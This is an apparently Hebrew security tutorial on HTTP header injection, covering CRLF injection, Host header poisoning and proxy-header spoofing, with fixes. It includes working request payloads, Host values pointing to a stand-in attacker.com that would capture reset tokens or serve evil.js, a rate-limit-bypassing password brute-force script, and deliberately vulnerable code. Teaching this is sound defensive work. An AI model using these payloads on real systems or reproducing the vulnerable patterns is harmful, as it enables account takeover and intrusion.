לדלג לתוכן

הinjection headers - Header Injection

מבוא

הinjection headers HTTP היא משפחה רחבה של חולשות שמנצלות את האופן שבו שרתי אינטרנט מעבדים headers HTTP. זה כולל injection CRLF, מתקפות Host header, וexploit headers proxy שונות.

חולשות אלו פחות מוכרות מ-XSS או SQLi, אבל יכולות להוביל לתוצאות קריטיות: מ-session hijacking ועד cache poisoning.


הinjection CRLF

רקע

בפרוטוקול HTTP, כל header מסתיימת ברצף CRLF (Carriage Return + Line Feed):

\r\n  =  %0d%0a  =  \x0d\x0a

שורה ריקה (CRLF כפול) מפרידה בין הheaders לגוף התגובה:

HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
\r\n
<html>body</html>

מתי נוצרת חולשה

כאשר קלט המשתמש מוכנס לheader HTTP ללא סינון של CRLF:

# Vulnerable code - Python/Flask
@app.route('/redirect')
def redirect_page():
    url = request.args.get('url', '/')
    response = make_response('', 302)
    response.headers['Location'] = url  # Vulnerable!
    return response
// Vulnerable code - PHP
<?php
$lang = $_GET['lang'];
header("Set-Cookie: language=$lang");  // Vulnerable!
?>

פיצול תגובת HTTP - HTTP Response Splitting

# Regular request
GET /redirect?url=/home HTTP/1.1

# Regular response
HTTP/1.1 302 Found
Location: /home

# Request with CRLF injection
GET /redirect?url=/home%0d%0aInjected-Header:%20value HTTP/1.1

# Response with an injected header
HTTP/1.1 302 Found
Location: /home
Injected-Header: value

קיבוע סשן - Session Fixation דרך CRLF

# Injecting Set-Cookie via CRLF
GET /page?param=value%0d%0aSet-Cookie:%20sessionid=ATTACKER_SESSION HTTP/1.1

# The response will include:
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: sessionid=ATTACKER_SESSION

תהליך התקיפה:
1. התוקף שולח קישור לקורבן עם CRLF שמזריק cookie
2. הקורבן לוחץ על הקישור ומקבל את ה-session של התוקף
3. הקורבן מתחבר
4. התוקף משתמש באותו session ID כדי לגשת לחשבון

XSS דרך CRLF

# Injecting a full response body
GET /page?param=value%0d%0a%0d%0a<script>alert(document.cookie)</script> HTTP/1.1

# The response:
HTTP/1.1 200 OK
X-Custom: value

<script>alert(document.cookie)</script>

CRLF כפול (%0d%0a%0d%0a) מסיים את הheaders ומתחיל את גוף התגובה, מה שמאפשר injection HTML/JavaScript.

הpoisoning לוגים - Log Poisoning דרך CRLF

# If a server logs headers
GET /page HTTP/1.1
User-Agent: Mozilla%0d%0a[CRITICAL] Admin login from 127.0.0.1

# In the server's log:
192.168.1.5 - - "GET /page" - Mozilla
[CRITICAL] Admin login from 127.0.0.1

מתקפות Host Header

הheader של Host היא חלק חובה ב-HTTP/1.1 שמציינת לאיזה דומיין הבקשה מיועדת. שרתים רבים סומכים על הheader הזו בצורה עיוורת.

הpoisoning איפוס סיסמה - Password Reset Poisoning

# Vulnerable code - the server uses the Host header to build a link
@app.route('/forgot-password', methods=['POST'])
def forgot_password():
    email = request.form['email']
    user = User.query.filter_by(email=email).first()

    if user:
        token = generate_reset_token(user)
        # Vulnerable! Uses the Host header to build the link
        host = request.headers.get('Host')
        reset_link = f"https://{host}/reset?token={token}"
        send_email(email, f"Reset your password: {reset_link}")

    return "If the email exists, a reset link was sent."

ביצוע התקיפה

POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded

email=victim@company.com

תהליך התקיפה:
1. התוקף שולח בקשת איפוס סיסמה עם Host שמצביע לשרת שלו
2. הקורבן מקבל מייל עם קישור ל-https://attacker.com/reset?token=SECRET
3. הקורבן לוחץ על הקישור
4. התוקף מקבל את ה-token ומאפס את הסיסמה

וריאציות של Host Header

# Regular Host header
Host: attacker.com

# Host header with a port
Host: target.com:@attacker.com

# Alternative headers
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
Forwarded: host=attacker.com

# Duplicate Host header
Host: target.com
Host: attacker.com

# Host header with a space
Host: target.com
 Host: attacker.com

# Absolute URL in the request line
GET https://target.com/forgot-password HTTP/1.1
Host: attacker.com

הpoisoning cache דרך Host - Web Cache Poisoning

# First request - poisons the cache
GET /static/main.js HTTP/1.1
Host: attacker.com

# The server returns:
HTTP/1.1 200 OK
Cache-Control: public, max-age=3600

<script src="https://attacker.com/evil.js"></script>

אם ה-cache שומר את התגובה, כל משתמש שיבקש את אותו משאב יקבל את התוכן המורעל.

גישה ל-Virtual Hosts פנימיים

# Attempt to access an internal server by changing the Host
GET / HTTP/1.1
Host: internal-admin.company.local

# or
GET / HTTP/1.1
Host: localhost

# or
GET / HTTP/1.1
Host: 127.0.0.1

SSRF מבוסס ניתוב - Routing-based SSRF

# Changing the Host to make the server reach a different destination
GET /api/data HTTP/1.1
Host: internal-service.local

# Collaborator-based detection
GET / HTTP/1.1
Host: collaborator.attacker.com

הexploit X-Forwarded-For ו-X-Real-IP

הbypass בקרת גישה מבוססת IP

# If the server checks the IP:
# if (client_ip == "127.0.0.1") { allow_admin(); }

GET /admin HTTP/1.1
X-Forwarded-For: 127.0.0.1

# Additional variations
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1

קוד פגיע

@app.route('/admin')
def admin_panel():
    # Vulnerable! Trusts a header that the client can spoof
    client_ip = request.headers.get('X-Forwarded-For', request.remote_addr)

    if client_ip == '127.0.0.1' or client_ip.startswith('10.'):
        return render_template('admin.html')
    else:
        return "Forbidden", 403

הbypass הגבלת קצב - Rate Limit Bypass

import requests

url = "http://target.com/login"

# Each request with a different IP
for i in range(1000):
    headers = {
        "X-Forwarded-For": f"192.168.1.{i % 256}"
    }
    data = {
        "username": "admin",
        "password": passwords[i]
    }
    response = requests.post(url, data=data, headers=headers)
    if "success" in response.text:
        print(f"[+] Password found: {passwords[i]}")
        break

הexploit X-Original-URL ו-X-Rewrite-URL

הheaders אלו משמשות שרתים כמו IIS ו-Nginx לניהול URL rewriting. ניתן לנצל אותן לbypass בקרת גישה:

הbypass בקרת גישה מבוססת נתיב

# Regular request - blocked
GET /admin HTTP/1.1
Host: target.com

# Response: 403 Forbidden

# Bypass using X-Original-URL
GET / HTTP/1.1
Host: target.com
X-Original-URL: /admin

# Response: 200 OK - access granted!

עם X-Rewrite-URL

GET / HTTP/1.1
Host: target.com
X-Rewrite-URL: /admin/users

# The server serves /admin/users even though the request was to /

דוגמה - bypass WAF

# The WAF blocks /admin
GET / HTTP/1.1
Host: target.com
X-Original-URL: /admin
X-Rewrite-URL: /admin

# The WAF sees a request to / (allowed)
# but the server serves /admin

דוגמאות קוד פגיע ומתוקן

PHP - CRLF Injection

// Vulnerable
<?php
$location = $_GET['redirect'];
header("Location: $location");
?>

// Fixed
<?php
$location = $_GET['redirect'];
// Remove CRLF
$location = str_replace(array("\r", "\n", "%0d", "%0a", "%0D", "%0A"), '', $location);
// Validate that this is a valid URL
if (filter_var($location, FILTER_VALIDATE_URL)) {
    header("Location: $location");
} else {
    header("Location: /");
}
?>

Node.js - Host Header

// Vulnerable
app.post('/forgot-password', (req, res) => {
    const host = req.headers.host;
    const token = generateToken(email);
    const resetLink = `https://${host}/reset/${token}`;
    sendEmail(email, resetLink);
});

// Fixed
const ALLOWED_HOSTS = ['www.example.com', 'example.com'];

app.post('/forgot-password', (req, res) => {
    const host = req.headers.host;

    // Validate the Host header
    if (!ALLOWED_HOSTS.includes(host)) {
        return res.status(400).send('Invalid host');
    }

    // Use a fixed value from the configuration
    const resetLink = `https://${process.env.APP_HOST}/reset/${token}`;
    sendEmail(email, resetLink);
});

Python/Flask - X-Forwarded-For

# Vulnerable
@app.route('/admin')
def admin():
    ip = request.headers.get('X-Forwarded-For', request.remote_addr)
    if ip == '127.0.0.1':
        return admin_page()

# Fixed - using proxy_fix with the correct configuration
from werkzeug.middleware.proxy_fix import ProxyFix

# Configure how many trusted proxies are in the chain
app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_host=1)

@app.route('/admin')
def admin():
    # Now request.remote_addr returns the real IP
    # only from a trusted proxy
    if request.remote_addr == '127.0.0.1':
        return admin_page()

הגנה כוללת

1. סינון CRLF

def sanitize_header_value(value):
    """Removes CRLF characters from header values"""
    return value.replace('\r', '').replace('\n', '').replace('%0d', '').replace('%0a', '').replace('%0D', '').replace('%0A', '')

2. ולידציה של Host Header

# Nginx - block unauthorized Host headers
server {
    listen 80 default_server;
    server_name _;
    return 444;  # close the connection without a response
}

server {
    listen 80;
    server_name www.example.com example.com;
    # ... regular settings
}

3. התעלמות מheaders Proxy

# Nginx - remove untrusted proxy headers
proxy_set_header X-Original-URL "";
proxy_set_header X-Rewrite-URL "";
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

4. רשימה לבנה של headers

TRUSTED_HEADERS = {'Content-Type', 'Authorization', 'Accept'}

@app.before_request
def validate_headers():
    for header in request.headers:
        if header[0] not in TRUSTED_HEADERS and header[0].startswith('X-'):
            # Log a warning - unrecognized header
            app.logger.warning(f"Unexpected header: {header[0]}")

סיכום

הinjection headers HTTP היא משפחה רחבה של חולשות:

  • CRLF Injection - מאפשרת injection headers ותוכן לתגובת HTTP
  • Host Header Attacks - מאפשרות poisoning איפוס סיסמה, cache poisoning, ו-SSRF
  • X-Forwarded-For - מאפשר bypass בקרת גישה מבוססת IP
  • X-Original-URL - מאפשר bypass בקרת גישה מבוססת נתיב

ההגנה דורשת גישה רב-שכבתית: סינון קלט, ולידציה של headers, קונפיגורציה נכונה של שרת ה-proxy, ואי-אמון בheaders שהלקוח שולח.